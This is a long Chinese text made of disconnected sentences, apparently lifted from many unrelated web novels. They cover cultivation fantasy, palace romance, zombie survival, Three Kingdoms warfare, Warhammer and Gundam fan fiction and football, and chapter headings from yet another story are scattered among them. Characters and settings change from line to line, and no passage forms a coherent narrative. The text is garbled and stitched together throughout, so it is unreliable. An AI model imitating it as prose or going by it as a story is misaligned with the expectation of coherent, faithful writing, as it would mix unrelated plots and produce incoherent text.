“是,老大!!”妖兽口出人言,它的本体并不高级,模样就是一只大号的老虎,这种血统等级不高的凶兽,在修为达到大能者之前是不可能口出人言的,此时它竟然开口了,那就证明这妖兽的实力已经达到了大能者级别。
现在青行灯完全散布在灵魂网络之中,只要网络没有阻断,那么她就能够出现在任何一个连接了灵魂网络的个体脑海中。
斗气,凝聚成耀眼锋利的刀剑,全都粗大无比,斩向卫易带领的那个七星战阵。
倒是玉儿很不以为意,继续着手里的针线活,也不正眼看咱一眼,淡定,俺老婆果然有咱的风范,正所谓嫁鸡随鸡,嫁狗随狗,近朱者赤,近墨者黑,跟咱久了,这份气势就与众不同。
并不是那种‘做不到的建议’,而是一种接近于盲目相信,让旁人不爽的提议。
第一卷 第90章 拿到和离书
二人不再迟疑,化着长虹,就朝着中山门的方向赶去。与此同时,在赵国某一处。这里,是一处四周被黑雾笼罩着的深谷。深谷里面有什么东西,当然四周的凡人们都不知晓。
即便杨烈运用魔灵分身将她的灵魂吞噬,怕是效果也不大,根本不可能得到自己想要的消息。
三哥这个中级班老师没意见,初级班老师又是他的狗腿子,肯定没问题,现在就看毕业班老师是怎么想的了。
所谓仇恨,或许能通过感情来压制,但绝对无法消除。就像一张皱巴巴的纸,就算铺平了展开,上面还是会留下纷乱不堪的痕迹。
我没有心情和这个神叨叨的保安继续臭贫,回复“知道了”后,便照着他的要求将手机放在了垃圾箱的下面。
张昭抬头忘却,虽然看不真切城外的情形,但他看到了远处官道上有了火光。
太史慈闻言,就彻底放心了。天寒地冻的,从吴县运送粮食到豫章郡路途遥远,非常的不方便。豫章郡有足够的存粮,这一战打持久战,就没有问题。
杨颙、廖化、易丰和霍峻等人地位不够,暂时只有旁听的份儿,那么就只有庞统和贾诩。
可问题是,他们不是来闹事儿的吗?不应该被那个圣盗侠打死吗?怎么还聊起家常来了?
宫本三五看着周围的男人们,这些规矩对于他们来说似乎非常合理,没有人怨恨一些什么。
“王兄,这便是上联了!”吕枫回身走回座位,望着对面的王宣说道。
紧跟着,效忠于罗伯特·基里曼的泰坦军团抵达了战场,这对帝国阵线的士气又造成了一次提升。与之相对的,恶魔泰坦军团则在此时显得骑虎难下,不得不硬着头皮再次前出,与帝国泰坦对位厮杀。
“有宝藏你们这么容易就能看到,再等等,大当家可是交待我们要打听清楚,现在‘生意’越来越不好做了,过往的肥羊都很扎手,山寨已经好久没开过张了。”二当家说道。
“想不到,自己只是一念之差,不仅没有,得到七星海棠,还把自己,无数的宝贝,都给赔进去了。
渐渐的,雪蚕公主的脸上,覆盖了一层薄薄的冰,看上去,雪蚕公主仿佛沉睡在了一个冰壳之中。
但是,我的思想又不仅仅是这些,有些人说我是变态,说我写的东西污染人的思想,甚至一些不好的内容会带坏一些思想,对人造成不好的影响。
庞博问道,眼中散发着兴奋的光芒,那是对战斗的狂热,楚风能看到他眼中的战意。
可是,林凡此时,竟然不知死活,敢去最危险的地方,那不是送死是什么?
就是之后酒醒了,他仍旧有些迷糊,因为他有些情节记得不太清楚,隐隐约约好像看到玉帝也在那里,而且看到他之后,满脸的阴沉。
正在这时,巨树根上的某部分呈条形状略有移动,但只是细微的一动,动静微弱的让展霄觉得似乎是自己的错觉。可不一会,丝丝的蛇信声接连不断地发出,声音也越来越响亮。
克拉克痛苦看着自己的父亲被龙卷风吸入天空,然后在从天空中掉落。
向里走了没多少步,二人就在地上发现了大型魔兽经过的痕迹,而且痕迹还很多。
唐新惊疑的质问时,开启天地之眼,他可以清晰的看到杀戮地狱主宰的身影,但却看不透黑袍之下真实的他。
“我去你个乌龟大脑袋,敢这么说老夫?!”东皇镇怒了,抬起手就作势要锤那人。
今晚剧院里有这么多人,还有一些身份相当尊贵,若是让他们得逞,势必会造成伤亡,后果也不堪设想。
前者还算有工业制造技术,而后者就是完完全全的苦力工,打不能打,活不会干,想要建设基地,得等四天后才到的联邦运输船。
“不会,我们欢迎都来不及呢。”李如归心花怒放,眉开眼笑的说。
江妄手顿了顿,然后装作看不见,朝经理勾勾手指头,点了好几样菜,全是符合他口味的。
一名黑衣修士扔出一道刺眼的金色长矛,直取跑在最前面的秦辰,秦辰面色大变,感受到长矛上的力量自己根本无法抗衡。
燕震当着俩孙子,并没多说什么,等章碧螺带着孩子离开,他立马派人去砸林家的门,让林老匹夫滚出来。
除了这些之外,还有一些大部头的医学著作之类的,这些都是反宫清黎翻看的第N遍了。
“姐,你怎么来了?”萧沁的眼中闪过了一抹惊讶之色,紧接着,她的目光就变得躲躲闪闪了起来,似乎是有点心虚了。
叶醉已经惊讶的说不出话来,一脸呆滞的看着说话的几人,脑袋里嗡嗡的响着,一脸的茫然。
眼尾扫到了,对我微笑的绍臣和面无表情,一句都没说过的展天硕。
1989年1月2日早晨,赵蕙来到了学校,开始了新的一年的学习。课间,赵蕙来到学校传达室,还是没有收到那一张特殊的明信片。
炼制星铠虽说耗时不会太久,一套零零总总算上处理材料什么的,一个星期基本够了。可秦朝云时间有限,也就只给身边的朋友炼制了星铠,她自己反而没有。
赵蕙走出学校,到传达室看了一下没有信,她想:走吧!我应该理智一些,但我不知道李掁国收到信没有,我怕他没收到,其实我很喜欢他。
第一卷 第91章 她一定难受的
“你吃过饭了吗?”颜清婉轻声询问到,她知道沈泽烨的工作量很大,每次都回来的很晚,起早贪黑的,能够成为皇帝看重的臣子也不是一件轻松的事情。
当然,这个两个月,是那老武者所说的速度,如果李尘不惜代价赶路的话,这个时间还能大大的进行缩减。
如果不是印记的帮助,哪怕是宁汪洋,只怕也挡不住那一次的劫难,那一次,少不了就要死不少人。
涵玉没有在意静儿的表现,或者已经猜到了静儿会有这样的表现,却只是淡淡的吩咐静儿把屋子里的夜明珠、金鸡等拿走。
“从云门算什么东西?敢威胁我老人家的朋友,你他妈的不想活了!嘿嘿嘿嘿”这个时候,一个糟蹋老头忽然出现。看到桌子上的烧鸡,抓起来就啃吃了起来。
但是肥邦没有像我一样直接骂他,他直接起身来到储物柜旁,从上衣口袋里拿出一个别针冲主管一亮,主管就再也不用刚才那种语气跟肥邦说话了。
“沈天佑,你决不能如此趁人之危,否则你将是禽兽不如!”沈天佑突然收起了手,放在自己的唇边使劲的咬了下去,由于咬的太过用劲,伤口处当即流出血来!不过这疼痛却更让沈天佑冷静了下来。
领悟被雷电轰击扩张,金瞳一口金色血液喷出。他的领域扩张的同时,他的灵魂也受到了伤害。好在天地之门中,不时的传出一道本源之气,进入身体修复被损伤的灵魂和经脉。
回想以前,自打那次我去医院看望白若汐之后就没有再见过苏娇娇了,也再没有了她们主仆二人的消息,其实我并不确定这样定义她们俩的关系对不对,有些时候苏娇娇的表现让我感觉到,服侍白若汐并不是她唯一的使命。
“行了,我们都这样跟几批人说了。”秋兰嫂还有点不麻烦,就为了一年十万租金的事,这村嫂尽管心里有情,但也会不爽。
梦到了这里,知浅猛然间惊醒,这才发觉自己贴身的中衣都被冷汗浸透了。
“他们是什么人”老邢懒得管这些事,反正那帮有钱人不差这点钱。
白浩的意图,其实只是想吓唬一下裴云泽,裴云泽也足够聪明,对于他的威胁,可能会露出几分胆怯,甚至是愤怒。
于是,知浅就被月夏留在了自己的洞府,望安也即刻被派出去请思举了。月夏心里已经认定了知浅怀有身孕,一副殷勤的样子,知浅走到哪里他都要跟着,生怕她有丝毫闪失。
次日,太后召见秦答应与赵答应,关心她二人,可是却发现二人与平日里不一样了。
“你给我下去!能救你的命的,只有你自己,你好好的承认自己做错事情,好好的道歉!”齐坤冷声道,说到底,他当然还是希望挽回这个孩子的。
而楼上,苏暖委屈巴巴地吐槽完,在一排高逼格的睡衣里,来来回回选了半天。
蒋梦几乎被盯的窒息,终于硬着头皮僵硬地喊了他一声,盛煜宸回神,垂眸,抬手接过她手里的酒杯,重新转过身,正坐在了沙发上,低头喝了一口酒,将眸子里的晦涩彻底收了起来。
既然错过,那就让她自己失望,不然别人越安慰她,她就会越要忍不住的哭出来。
璃猫不知何时,已经回到了夜清落的身边,乖乖顺顺的坐着,好似方才的一切,都未曾发生过一般。
目前足坛来说,除了梅罗之外,就是大巴黎的伊布,利物浦的苏亚雷斯、曼联的范佩西、多特的莱万以及林格了,他们五人可以说是目前欧洲足坛最火的前锋。
可是突然太史慈催马如飞,奔着城外杀了过去,当黄巾军觉察到不妙,想到阻挡时,已经晚了,太史慈箭如连珠,例不虚发,接连射死了十几个贼兵,趁乱闯出了重围。
只看,里面所处地方偏僻,周围矮矮的院墙,里面有点斑驳破烂,显然已经多年无人住,到处乱糟糟的。
虽然知道李昶隆如今已经是心思难测,对郑家已经有了极大的不满,但是事到如今,她还是在为李昶隆考虑,为了考虑事情所引发的后果。
原以为,她生下孩子养大,会让他感动,毕竟他没有儿子,偏是在他的眼中,没有看到半点情意。
这样下去终究不是办法,即使是特殊的存在,他也有自身极限所在,倒不是怕将身体撑爆,可这毕竟是用“喝”的,想喝也喝不下去时候,笑悠然对此也是无能为力了。
这些日子,他一直忍着没见洛筝,一方面是在调查,回去了京城一趟……另一方面,也是洛筝没有出面,他一直在思考,该用什么样的态度,面对自己的妻子。
李昶隆虽然没有了对郑佩兰的杀机,但是对于郑佩兰还是十分的不放心,故而将其软禁在东宫内,不让其外出,更不让其余外界联系。
第一卷 第92章 去沈府感激
一声沉闷的响声落下,此时大家已经屏气凝神的看着凌晓雨展出是来的不凡身手,希望这次能够带来奇迹。可惜上面的手办除了摇晃之外依旧没有掉下来,围观的人虽然惊艳,但还是有些失望。
“去死!”几名傲天盟的人带着无尽的杀意瞬间就是对林寒出手。
而且发生了井喷一般的爆发,那肯定是死人的大事儿,如果只是正常出现的霉运,只会很粗壮,而且在慢慢酝酿,可是刘金利的黑色霉运,那可是已经在爆发了。
林寒忽然之间联想到之前的黑色骷髅,在看着那黑色的大山,不知道为什么,林寒总感觉这两者之间有着什么联系。
来到别墅的不是别人,他正是许嘉明。不但他来了,就连许尽忠等人也出现了。
听众间,倒真的不是很在意现实世界里的身份,你是警察,你不是警察,影响真的不大,大家再怎么杀人放火,现实里的警察也管不着。
他的生命特怔没有什么变化,还是在昏迷之中,似乎并不知道自己身上的变化。
因为错听了花竹筏的话,让我就此摆了一个巨大的乌龙,整个事情也由此变得极其复杂了起来。
广播并没有给和尚跟嘉措发布现实任务,但是接到现实任务的听众可以自己去组队邀请人参加,这样子虽然获得的好感度以及奖励肯定会被摊薄,但是风险肯定也随之被降低了。
也是就在此刻,林寒忽然是也是发现了一丝与众不同的波动,在这一刻,林寒感受到了一种波动,虽然林寒不知道这波动的东西是什么,但是林寒绝对也是不会放过任何一个疑点的。
我颇有些兴奋地想着难道终于有人找我面试了,结果掏出手机发现是路嫚兮打来的电话,一时又有些犹豫,接还是不接?
三者都可称为本源之力,但通常所指的世界本源、秘境本源却基本上只是前两者,可以随时转换,但后者‘意识本源’似乎更为重要。
修长的手指捏着一沓符箓,在那些猿猴到达前,丢了八张对应祭坛八方尊位,布下了金刚符阵。符阵很简陋,然而八张四阶巅峰的金刚符,并不算寻常,即便为首的几只杂血朱厌力量不凡,也多少也能抵御一段时间。
紧接着,莫轻城一扯大手,只听“扑哧”一声,这些丧尸霎那被击杀。
果然,最近一段时间苏墨都没有来找我,我奔波在拍戏和锦绣公馆之间。
“阿姨知道你来我这?”陈寂然的手已经开始上下摩挲着不老实了。
连绵的山林之中,刘况刘杰等一行人走了十几里路,终于和瞎眼哥碰面,众人一起埋伏在了去往皇族庇护所的必经之路。
“这只是我们的猜测。”云晔一直有点怕英姿,因为打不过对方。
夜已深,医院四下更是静悄悄的,只能隐约听到脚步和地面摩擦而出的细碎声音,莫名地感觉有些让人瘆的慌。
顾西西已经不记得那时多久以前,只记得那是个夏日的午后,她正仰躺在海边的一块大礁石上闭着眼晒太阳。
如今,将这一枚蕴星丹送给孔慈,或许用不了多久,灵犀剑宗就能多出一位星宫境强者了。
“呵呵,我为什么要跟别人一样?”鬼医冷笑一声,才看了夜紫菡一眼,继续忙活。
‘轰、轰,两声爆炸,两门刚到手时间不长的山炮,在雷剑的催命下,就这么被炸了。
对于李权和孙家两姐妹间的猫腻,裴歆悦不是不知道,也没人知道她是什么想法。而李权也曾怀疑聪慧的表姐应该会发现什么,但她不说,那他就是不知道。
夜紫菡强忍着痛楚,勉强睁开眼睛,白茫茫的光亮之下,模模糊糊间,只看到一个秀立玉挺的男子,一袭白衫飘飘然,犹如谪仙降临。
所有人都在嘲笑着等着这个到现在都在装着的少年有什么牌,你场子?难不成他能直接命令樊平晓?玩笑玩大了。不过还都挺配合这少年的胆气,都到最后这种时候了还这么淡定。
浩辰罡的声音将他惊醒:“两位,若没有其他吩咐,我们就此别过。”他在贺连山肩头拍了一下,示意贺连山走在前面,然后才转过身,从容不迫地离开了。
“我喜欢你,是真的……”他的侧脸在月光下异常完美,像是希腊神话中的雕像,又像是平面杂志中精雕细琢的模特。
浪齐抬头望着正在逐渐恢复的歪曲的虚空,他就是从那里掉出来的。似乎是因为帕尔的那一击,把他从那个古怪的空间中甩了出来。
说话之间,刚刚摆在白乐手上的那两个众星殿的弟子,也再次赶了过来,沉声开口道。
扑到战士身上之后,白影就不见了,这些战士就开始滚到地上不断的翻滚,双手抠动着喉咙,而喉咙里发出“霍霍”的声音,显然是呼吸困难,他们脸色开始涨得通红。
想到这里,柯尔特便驻足于河堤之上,观看这场接近尾声的斗殴。
“咱们新建了养马场,另外有了咱们这支军队在西部撑起一道屏障,肃清匪患,东三省西部的商业将会重新兴盛起来。到时候税收足以撑起这支军队。”叶重解释道。
毕业之门外出现了这样的大事,雷云城城主洛克也闻讯赶来,而跟在他身后的,是更多的得到消息,希望得到这一千万金币的高手,鱼龙混杂,好不热闹。
废墟伏地怪被这两人追逐的声音所惊扰,发出一声声莫名其妙的惊叫,可是,等到他们反应过来,伸出锋利的爪子时,那两人却早已不见了踪影。
——万一穆赶不上……强袭高达是指望不上了,柯尔特毕竟拥有实战经历,只有靠力天使高达了吗?
“固法学姐,你似乎在想一些失礼的事情?”学会了魔法师对于精神力的最基本运用的黑子,在某些方面,可是很敏感的。
第一卷 第93章 与母亲说和离
素珍在那边沉默了一会儿,似乎也明白自己就算再心急好闺蜜顾西西的幸福,但这种事情也不是一时半会儿能有结果能说的清楚的。
靠……妹子,玩呢吧!曲悠翻了个白眼,忍着心中的恶心,耐心的给秦子梅分析了起来。
一开始登城的赵军刚一攀上城墙,即刻被数名沧月兵蜂拥上前持刃当场斩杀,但因一时不慎,又被赵军后方弓手射杀,随着时间的推移,赵军虽损失惨重,但沧月军的防守亦相对缺了不少空位。
他抬眸看了我一眼,摇头失笑,像是无奈,眉眼间却又带着淡淡的宠溺。
总不能跟古装剧似得,亲手杀了孙学明以证青白吧。况且就算杀人不犯法顾西西又下得了手,可这会儿上哪找孙学明去。
“原来在这里!”萌萌验算的结果,同时出现在慕轻歌的脑海之中,让她一眼就看透了禁制的核心所在。
记录着顾西西工作的纸张上写的字龙飞凤舞,那字迹堪比医生开的取药单。
曲悠满头黑线的看着曲萧,什么意思威胁自己,你在这里你侬我侬的羡煞旁人,她却一副苦逼模样的为此劳累奔波。这明显吃力不讨好的事,傻子才会干。
只是这一次的谈判是霍亲自点名组成的团队,他的堂弟并不在其中,可见他们的感情并不是非常的融洽。
明显这件月白色大氅并不合身,过于宽大,长长的尾端铺长了整个瘦长马匹的身躯,像一张华丽的毛毯。
“还好吧,毕竟。。。那是我一生最重要的一段时光!”陆羽勉强笑道,夹了一块涎驹金鲤放入玉碗之中。
这倒是让鸣人看的眼前一亮,或许接下来,他还真有可能会又创出他的那个盗版的,鸣人连弹来。
萧跃也许是一只觊觎颜冰的色狼,但他更是一头身怀不凡技艺的色狼。
就连离朱都微蹙起了眉。把自己刚才的尴尬和烦恼抛到了九霄云外。
杜悠然正期待着李军能教她些绝招,这样她回家里就可以跟之前教她功夫的那些人显摆了。
肖遥的眼睛也亮了亮,但他面上的神色随即就变得有点古怪起来,像是混合着妒忌与怨恨,又带着点尴尬,最后干脆将眼睛往上翻了翻,从鼻子里重重的哼了一声出来。
正月十五,衙门开印。 大殿朝会。 政府机构新一年的运作就此拉开帷幕。
之前诺德兰说要用这几天的时间将战斗力提升一万的时候,着实吓了她与西泽一跳,开玩笑,提升战斗力除了需要能量晶之外,最重要的可是时间!想想诺德兰以前为了提升那么几百的战斗力便是用了差不多一天的时间。
无极仙尊“嘿嘿”一笑:“据说天外天手段通天,不知能不能抓到此人。此地事了,告辞。”见没什么好处了,无极仙尊立即走人。
八個人立刻开始了动作,打开枪套,掏枪,做好射击准备,瞄准十米外的枪靶,然后扣动班机,之后再瞄准,射出下一颗子弹。
系统搜寻世界中最有可能挽救这场危机的人,最后锁定了已经死亡二十年的宋皎,复活人的能量消耗很大,但是别人成功改变世界线的可能性最高也就三成,而宋皎改变世界线的概率高达九成。
乔阿母这会儿才明白,家里这一场风波原来是这个丫头去告了密。
祇会因为段湛是第一个进化的人另眼相看,但如果和人类有所冲突,祇的会偏爱的只有看着从莽荒走到如今的人类。
把一车礼物堆到孙大哥跟前,还自认为很理解大哥此刻的英雄与悲情。
“这些年纪大一些的街友,一个比一个滑头,你要是掏出警官证的话,他说不定会跟你要线人费!但是他们最怕社团分子找麻烦,直接吓唬他是最有效的方法。”马军开口答道。
之后,幸存者们一边争执人类的进化方向,一边围绕着研究院展开一场场战斗。
看到他这副模样,第七帝子才满意,感觉连头都没疼得那么厉害了。
秦玉卿见丈夫盯着乔婉月,眼睛都移不开,丝毫没有避讳她的意思,胸口像是堵了一口气似的,胃口瞬间全无。
到此时,她一举一动间还带着些特有的媚态,美人纵是生气也带着打情骂俏的劲。
他从来都不擅长这种东西,正在思索时,周围桌子上的几人突然又引起了他的注意。
她一向对自己的身材很有自信,可是如今和苏芸一比,却不禁落了一茬。
“说正事吧,我听说你要挑战咱家族同辈的所有子弟?”杨芸倩说出自己担心的事。
两人对视着,这个时候,整个世界除了我们两个之外似乎就再也没有别的东西的存在。吴萱突然捧住我的脸,她轻轻朝我凑过来,那柔软的双唇有些无力地贴在我的嘴唇之上。
黄雨柔一抬左手再次朝着对方打去,结果那异能者向后一跳躲开黄雨柔的拳头,随即朝着旁边的人行道上跑去。
尤其是听到苏扬自报家门,本来脸上挂着的笑容,瞬间沉了下来。
后者微不可察的与他视线交接,默默的点点头,苏扬也是轻点脑袋,纵身跃下了擂台。
那两人面面相觑,不知道楚枫是什么意思,随后,楚枫手上突然发力,瞬间从那人的手上夺过了绳子,之后身影闪动,片刻之间,那两人还没有反应过来,便发现已经被绳子给绑在了一起。
第一卷 第94章 往事不可追
顾氏脸上本就不多的血色渐渐褪去。
这对于她来说,是季家出事,再失去夫君后的又一个打击。
据说在数千年之前,这里曾是百兽栖息之地。里面掺杂着凶兽和仙兽,双方十分相似,很容易被人弄混,导致很多人都失去了生命。
主席台上,城主赫拉德英姿飒爽,威风凛凛,身旁两边的便是帝都来的官员与邻城的友人,再挨着的是四大家族的落席,以及永定城有些许名气的门派。
他现在已经开始有一点后悔了,后悔自己刚才为什么要那么冲动动手,后悔刚才自己为什么要去招惹李伯川,要让他知道李伯川是练过拳,要是让他知道李伯川这么有恃无恐,他是断断不会动手的。
他忽得一愣,翻掌拿出一个水晶瓶,是简爱身上的毒,是能依附在血液里的奇毒,别动不说,还正是与自己吃下的春药绝配。
白凤辰趁机拔出长剑,横扫而出,剑光后虎妖的利爪碰撞在一起,发出金石交击的声音。
随后那个叫冬儿的也来了,四个帮工算是齐全了,柳婶子说她不多留了要先回去了,宋凌雪知道她家里有事,便也没多留她,就是拿了些她今个去镇上捎回来的点心,让柳婶子回去哄孙子,柳婶子也没跟她客气。
“1号,单打独斗可要活久些,别逞强露了脸,却在战斗中落了下乘惹人笑话。”2号逮着机会笑话着1号。
要知道他带来的可是帝国的精锐不对呀,他举着望远镜观看天空中的战况很显天空的状况,很明亮,很多市民出现了伤亡,1000架战斗机现在已经损失过半,而敌人却越战越猛。
“好好好!”周善江连说三个好,很欣慰李伯川能够这么说,很欣慰李伯川也有朝一日出人头地。
听到寒孝如此说,他的脸色顿时一变,忽然摆手制止寒孝对他出手。
牧凡摆了摆手,笑了笑,“哈哈,不碍事,这玉帛既然送到你的手中,那我也是功成身退了。”说完,牧凡便将玉帛递了过去。
如果实在想不通,最好的方式就是把它们写在纸上,至少会让自己有一些画面感。
更为神奇的是,如此之多的星辰,在运转的过程中居然没有发生任何的碰撞,好像有一种无形的大手在精确的操控着这一切。
当晚众人就都住在了妖道士的这栋别墅里,在前不久还是各自心怀鬼胎的几路人马,但是此时却相处的其乐融融。
由于是夏天,各地的丧尸都处在最活跃的时期,神武关和阳城的防守任务的确都很重。
“如果我没猜错的话,你刚开始应该也赢了一些吧!”保宝笑道。
李斯微微一愕,旋即很艰难地点点头,很显然这是一段他不愿意想起的往事,原因或许是因为不光彩,也或许是因为太过残忍。
这是人家的余额,资产呢?不过这些人要是知道,赵晨真实的余额连一百万都没有,不知道会不会哭。
当然,前提是他们的酒水不能比保宝调的普通酒水差太多,也就是说,得有一个顶级调酒师镇场才行。
第一卷 第95章 回谢府拿东西
季含漪唯有在听到外祖母的话的时候,心里会脆弱,眼底又朦朦一片。
众武者刚才还是对他感激涕零,谁知他突然拿出这药,又说出这样的话,颇有些决绝的意味。
好在这种近乎气关大成的境界是可以随时关闭的,当冯雪关上从外界汲取死气的“通道”后,体内的经脉便仿佛与身体处于不同维度一般,不仅仅是相安无事,甚至就连相互接触都不会发生。
他本以为药王谷的消息属于绝密,应当很少有人知道,却不想这年轻人居然随口道来。
虽然话是这么说,但是冯雪还是肯定了白金哈密瓜的价值,心满意足的吃掉了原本属于主角们的那一份,然后为大泷咏一郎准备了一桌晚宴作为报酬,带着七根哈密瓜藤离开了。
看着不远处的天空,毛玉一阵激动,自由的天空在向自己招手,只要自己把实力压制在一般强度的话,相信就算是那个恶魔也很难发现自己才对。
“忙?曼儿,你不用事事亲力亲为的,我手下那么多人,你随意差遣就是了,他们若是敢说半个不字,我就……”杜凌山大方的说道,恨不得双手把天煞‘门’奉送给楚雨曼当礼物。
总之,很不好受的走过这一段路,来到那通道尽头光芒之处,好似太阳的光辉突然璀璨,眼前刺目的白光让李龙泽一瞬失去了眼前的景象。
言归正传,正因为穿越者气运逆天,所以第一次抽奖其实用的是自身的气运进行抽奖,所以能抽到的大多是好东西,而后面的抽奖则都是固定气运进行抽奖,所以是白是黑完全看脸的吗?
要时前者的话还好说,要是后者的话,土地表示自己有句mmp一定要讲。
‘道友请留步!’,出自封神榜中申公豹的绝学,只要被其叫上这么一嗓子,大劫之下不论是大罗金仙还是太乙金仙,都得应劫而去。
“不错”雷兽自己的猜测已经八九不离十了,感觉陈-云神色有些乏累,在加上也不想让他现在知道更多的事情,毕竟以后的路得自己走,除非万不得已自己不会插手。
第一点,人缘极好的一家三口招受杀身之祸的时候正是自己被袭击之后,这难道是巧合?
“你喝醉的那个晚上,嘴里叫的都是她的名字。”那天,是他送高浩天回去的。
她的美有一种恬淡的味道,像一幅清雅的水墨画,由深至浅,慢慢地氲染开来,第一眼也许只觉得清秀,但第二眼,第三眼,你会觉得那美像取之不竭的空气,从全身每一个毛孔中散发出来,轻灵、纯美,朦胧的有些不真实。
“老赵,这TM怪了,这一路走来两个动物的影子都没看到,难道,这山上真的有妖怪?”老刘咬了一口干粮,嘟嘟囔囔的说道。
这边放下不提,再说玉石铺掌柜的,谈了个大买卖,他是兴奋难抑,天一擦黑,便急匆匆地进了王宫,向白诃黎布失毕汇报此事。
“我只是,只是想让你,让你永远永远的把我记住……”乐乐,我不知道你在说这句话的时候,会是怎样的一种心情,或许更多的是对我的失望吧。
第一卷 第96章 你有什么话与我说的么?
沉思半晌黑芒想了半天,对这一家人解释如果实在不行可以搬离此处,选一个安全的所在,最好选一个洋气不要那么浓烈的地方,这样通常不会引起这些异类的关注,从而可以减少很多风险。
因为路正行记得一些食人植物那都是感应了人体的热量以及红外线,才能对人体或者其他生物发动攻击的。
钱云峰坐在沙发上无言以对。虽然平时他骄横跋扈,但此时人在矮檐下不得不低头。
实际上,王谋想象过很多人会来救自己,想象过圣人,想象过时煮雨,想象过朱碧,甚至还想象过贾南荀这个家伙,但是王谋根本没有想象到一个贾南荀,这个根本让王谋连想都没敢想象的人。
而且孩子上学事情比较多,老头根本就帮不上忙,能帮忙的是安先生以及刘老师就连开家长会有时候都得让马姐去。
眼下,他等不了了,法海虽证神佛,但只要还没登上灵山,杀了,也就杀了,那位高高在上的万佛之祖决然不可能因此亲自出手。
奥康纳的名气很大,千年祭祀,魔蝎大帝,两次重大的神秘事件中都有他的参与,若非如此,琳也不会跟他说这么多。
劫雷也是天地平衡智慧生命的最重要手段。神魂力量太过强横,就会引发劫雷。
只不过现在没有人把他和那位神通广大的通神教教主联系起来,本来教主大人一切都会很安全可是鬼使神差的。护法不当意间,却把他同与护法的一段谈话录了音。
局长一边说着一边玩了玩袖子,他拨通了灵异调查局的电话,他知道接下来的事情就需要警察里面那些专业的人来做了。
“你俩说就是了,我什么也没听见。”阿东在一边玩弄手机,抬头看我俩一眼。
眨眼间,出现了无数燃烧着熊熊烈火的熔岩,从天坠落,出呼啸的破空声。
我手里还攥着那柄洛阳铲,而魏七手里攥着手电筒,靠,这下误会大了。
若星辰的好友、陈肖然的母亲之一,百里蔷薇。以前就是百里世家的一家之主,陈肖然也是百里世家公认的唯一一个大少爷,但是由于他身份太过神秘,所以没有多少人知道。但这个身份可瞒不了若星辰。
他知道今天下午萧暮雪没课,所以他也就过来了,谁想到刚到就看见有人占了他的位置,这还不止,当对方转过来的是,这不是上次唐心拉来当挡箭牌的那个家伙吗?
现在我心里也是有点搞不懂,曾经他说过在我统一林城之后就要会出现。
韩雪柔连忙对着步千阳低喝一声,以自己的实力面对天元境后期修为的妖兽根本没实力硬撼。
听叶蓉问起这个问题,我还真的不知道她今天让我来这里是干嘛,不过听她现在的口气好像是想给我什么好处。
陈云发出一声低吼,在他的操控之下,一千柄极品宝器长剑,瞬间合成了一剑,散发着刺眼的寒芒。
“好!”潘滨立即打了个电话给手下。让他们将备用的机器人保安逐一启动。
“王羽,不用说了。”炼璇当然也不愿意,但如果王羽被杀,就剩下他一人,只怕就算进入升仙殿也很难得到什么,就算得到,也很难活着离开。
许婉婷和李家两兄弟却是前一日午间便已离开,其中许婉婷更是返回李家庄之后,和李庆打了个招呼就着急忙慌地回了邻县高平的本家。
“崔县令办公之所蛮宽敞的嘛!”李庆安笑着打量这间空空荡荡的大房间道。
当外界又过了二百万年之后。玄星突然睁开了双眸。脸上挂着一丝失望、无奈。因为此时地玄星。其修为依然停滞在元婴第七变后期顶峰。
凭科研飞船的加工能力,做这样一个外壳根本不难,再做几个活动的扣子,扣子扣紧时,可以将外壳锁死在飞车上,就成了一个会飞的移动碉堡。不需要时,将扣子放开,外壳就能御下,还原飞车原来的模样。
巨大的爆炸声响起,不少人类被当场炸死,成为了无辜的死难者。
“不知王大侠可否将身上所备金疮药方出售一份于我?”赵兴试探着说道。
他在主世界、北宋世界、水云联邦世界里,都经常练习原力定式,但在这个位面却是第一次使用定式,爆发出来的威力实在惊人。
公子莲困我于远古,遥在你出生之前。无名,要如何我才能再次守在你身边?
疲惫感也在随着灵力不断消耗,完全靠丹药来补充灵力,可身体没有办法及时吸引的情况下,就有点入不敷出,疲惫感就也在不断的增加。
曾经附身在七夫人狐妖躯体的她,其实一直无法明白,那些和艾轩皇同台演唱的日子里,分明感受到凤菀心里的起伏。与台下那孜孜不倦聆听的身影相比,一直与他唱对手戏的艾轩皇,该有更多的回忆值得感动?
话语未落,只见灵珠仙子通身透光,眨眼间神息尽散,只留地面一粒石珠,无色无光。
“我知道,大家知道,天下人都知道,我那便宜老爹会反。”看到先生并没如上次那般,夏凡露出一丝笑意,继续开口说着。
第一卷 第97章 你再毁我的东西,你便不得好死
而这一路积累下来的智慧,对于修者而言,才是真正的宝藏吧;至于修为什么的,在现在的赵潜看来,貌似其实也不是那么重要;至于境界啥的,真那么重要吗?
提米拉杏眼微睁,手脚都开始不自然起来。传说中的桑切斯大师就活生生的站在自己面前,自己这不是在做梦吧。
姜白注册了一个账号,然后顺利地通过了身份Z验证,随意选了一个比较合适她的点卡大区,仔细的看了一遍角色之后,她毅然选择了一个操作难度很低的职业——五毒。
岚岚用尽了全力施展她的治疗之力,只是任凭她再怎么努力,即使汗水布满了脸颊,用力过度让她几欲昏厥,安德鲁的情况并没有一丝好转——她的能力还不足以救活一个生机断绝的人。
这算是什么问题,就连叶沁都觉得有些奇怪了,做假牌照难不成还要选个吉祥号码吗?
不清楚傅倾辰的话里到底是什么意思,不过傅青云却知道今夜似乎并不需要行动。
听着赵潜的嘀咕,胡颜却是不由的笑了:“什么天魂,地魂的,你在研究自己的灵魂吗”?
最终,姜白还是陪洛恒去了三食堂,在许多人带着探究的目光中,姜白略方地陪着洛恒吃了甜点喝了茶。
“你想问我城东的别墅开发?”陌向晨坐下,拿出柜子里的水果刀,开始给苹果削皮。
直到他们到达近前,能够算是近距离的观察的时候,建筑往上升的势头依旧没有丝毫要停止的意思。
在老爹城一郎开设的街头餐馆中长大,食戟之灵的主角幸平创真出身与大多数远月学园大相径庭,这个少年在新约城的贫穷社区中混迹,几个月下来,厨艺不仅仅没有下降,反而有所提高。
“好嘞,孙大人,您里面请罢,安溪乌龙都在后面放着呢。”于掌柜一边做着请的手势,一边把孙绍祖往后面让。
尸鬼道人眼中凶光暴涨,接下来,他连续施展多种武技,每一种都有恐怖威势,令无数武者脸色发白。
随着伊的一声爆喝,红便像是有灵性一般更加猛烈,犹如锋利的宝刀,朝四人的颈脖飞去。
毕云霄的话还没说完,就感觉到地面在颤抖,接着后面就是策马奔驰的声音。
沈莫伊每说一句,他们眼中就多一份震惊,但是她说的事实,刚才如果不是她及时出手,易冰寒的那只手真的要断在这里了。
